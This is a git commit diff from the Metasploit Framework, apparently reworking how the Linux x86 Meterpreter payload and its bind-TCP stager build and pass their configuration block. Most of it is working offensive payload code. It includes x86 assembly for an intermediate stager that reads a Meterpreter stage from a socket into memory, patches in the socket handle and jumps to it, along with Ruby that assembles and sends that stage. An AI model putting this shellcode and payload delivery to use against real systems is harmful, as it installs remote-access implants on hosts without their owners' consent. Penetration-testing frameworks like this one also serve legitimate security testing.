Initial rework of POSIX stuff to handle new configuration

bug/bundler_fix
OJ 2015-05-04 18:58:55 +10:00
parent 451484cb0d
commit 9300158c9a
3 changed files with 137 additions and 37 deletions

View File

@ -44,12 +44,23 @@ module Payload::Linux::BindTcp
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end end
def generate_transport_config(opts={})
{
:scheme => 'tcp',
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
end
# #
# Determine the maximum amount of space required for the features requested # Determine the maximum amount of space required for the features requested
# #
def required_space def required_space
# Start with our cached default generated size # Start with our cached default generated size
space = cached_size # TODO: figure out what this should be
space = 300
# Reliability checks add 4 bytes for the first check, 5 per recv check (2) # Reliability checks add 4 bytes for the first check, 5 per recv check (2)
space += 14 space += 14
@ -107,6 +118,7 @@ module Payload::Linux::BindTcp
int 0x80 int 0x80
xchg eax,edi ; restore the socket handle xchg eax,edi ; restore the socket handle
add esp, 0x14 add esp, 0x14
pop ecx
pop ebx pop ebx
pop esi pop esi

View File

@ -18,6 +18,11 @@ class Rex::Payloads::Meterpreter::Config
def initialize(opts={}) def initialize(opts={})
@opts = opts @opts = opts
if opts[:ascii_str] && opts[:ascii_str] == true
@to_str = self.method(:to_ascii)
else
@to_str = self.method(:to_wchar_t)
end
end end
def to_b def to_b
@ -30,13 +35,25 @@ private
@opts[:arch] == ARCH_X86 @opts[:arch] == ARCH_X86
end end
def to_str(item, size)
@to_str.call(item, size)
end
def to_wchar_t(item, size) def to_wchar_t(item, size)
item.to_s.ljust(size, "\x00").unpack("C*").pack("v*") to_ascii(item, size).unpack("C*").pack("v*")
end
def to_ascii(item, size)
item.to_s.ljust(size, "\x00")
end end
def session_block(opts) def session_block(opts)
uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE) uuid = to_str(opts[:uuid].to_raw, UUID_SIZE)
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] if opts[:exitfunk]
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
else
exit_func = 0
end
session_data = [ session_data = [
0, # comms socket, patched in by the stager 0, # comms socket, patched in by the stager
@ -63,17 +80,17 @@ private
# of other stuff # of other stuff
pack = 'A*VVV' pack = 'A*VVV'
transport_data = [ transport_data = [
to_wchar_t(url, URL_SIZE), # transport URL to_str(url, URL_SIZE), # transport URL
opts[:comm_timeout], # communications timeout opts[:comm_timeout], # communications timeout
opts[:retry_total], # retry total time opts[:retry_total], # retry total time
opts[:retry_wait] # retry wait time opts[:retry_wait] # retry wait time
] ]
if url.start_with?('http') if url.start_with?('http')
proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE) proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE)
proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE) proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE) proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
ua = to_wchar_t(opts[:ua] || '', UA_SIZE) ua = to_str(opts[:ua] || '', UA_SIZE)
cert_hash = "\x00" * CERT_HASH_SIZE cert_hash = "\x00" * CERT_HASH_SIZE
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]

View File

@ -17,8 +17,8 @@ module Metasploit3
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Linux Meterpreter', 'Name' => 'Linux Meterpreter',
'Description' => 'Staged meterpreter server', 'Description' => 'Inject the meterpreter server payload (staged)',
'Author' => ['PKS', 'egypt'], 'Author' => ['PKS', 'egypt', 'OJ Reeves'],
'Platform' => 'linux', 'Platform' => 'linux',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -35,6 +35,7 @@ module Metasploit3
return ep return ep
end end
=begin
def elf2bin(payload) def elf2bin(payload)
# XXX, not working. Use .c version # XXX, not working. Use .c version
@ -64,31 +65,76 @@ module Metasploit3
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes") print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
return mem[0, used] return mem[0, used]
end end
=end
def handle_intermediate_stage(conn, payload) def handle_intermediate_stage(conn, payload)
# Does a mmap() / read() loop of a user specified length, then entry_offset = elf_ep(payload)
# jumps to the entry point (the \x5a's) config_offset = payload.length - generate_meterpreter.length
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp encoded_entry = "0x%.8x" % entry_offset
encoded_offset = "0x%.8x" % config_offset
midstager << encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
"\xd1\xff\xff\xff"
# Patch in debug options
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
# Patch entry point
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
# Maybe in the future patch in base. # Maybe in the future patch in base.
# Does a mmap() / read() loop of a user specified length, then
# jumps to the entry point (the \x5a's)
midstager_asm = %Q^
midstager:
and esp, 0xFFFFF254
push 0x4
pop edx
mov ecx, esp
mov ebx, edi
push 0x3
pop eax
int 0x80
push edi
mov eax, 0xC0
mov ebx, 0x20040000
mov ecx, dword ptr [esp+0x4]
push 0x7
pop edx
push 0x32
pop esi
xor edi, edi
mov ebp, edi
dec edi
int 0x80
cmp eax, 0xFFFFFF7F
jb start_read
terminate:
xor eax, eax
inc eax
int 0x80 ; sys_exit
start_read:
xchg ecx, edx
xchg ecx, ebx
pop ebx
read_loop:
push 0x3
pop eax
int 0x80 ; sys_read
cmp eax, 0xFFFFFF7F
ja terminate ; exit on error
test eax, eax
je terminate ; exit on error
add ecx, eax
sub edx, eax
jne read_loop ; read more
; edx should be at the end, but we need to adjust for the size of the config
; block so we know where to write the socket to memory
sub ecx, #{encoded_offset}
mov [ecx], ebx ; write the socket to the config
push #{encoded_debug_options}
push ecx ; pass in the configuration pointer
mov eax, #{encoded_entry} ; put the entry point in eax
call eax
jmp terminate
^
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
conn.put(midstager) conn.put(midstager)
Rex::ThreadSafe.sleep(1.5) Rex::ThreadSafe.sleep(1.5)
@ -100,19 +146,44 @@ module Metasploit3
end end
def generate_stage def generate_stage
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf") meterpreter = generate_meterpreter
config = generate_config
meterpreter + config
end
def generate_meterpreter
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
blob = File.open(file, "rb") {|f| blob = File.open(file, "rb") {|f|
f.read(f.stat.size) f.read(f.stat.size)
} }
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, blob
:expiration => datastore['SessionExpirationTimeout'].to_i, end
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i)
return blob def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new({
:platform => 'linux',
:arch => ARCH_X86
})
end
# create the configuration block, which for staged connections is really simple.
config_opts = {
:arch => opts[:uuid].arch,
:exitfunk => nil,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => opts[:uuid],
:transports => [ generate_transport_config(opts) ],
:extensions => [],
:ascii_str => true
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end end
end end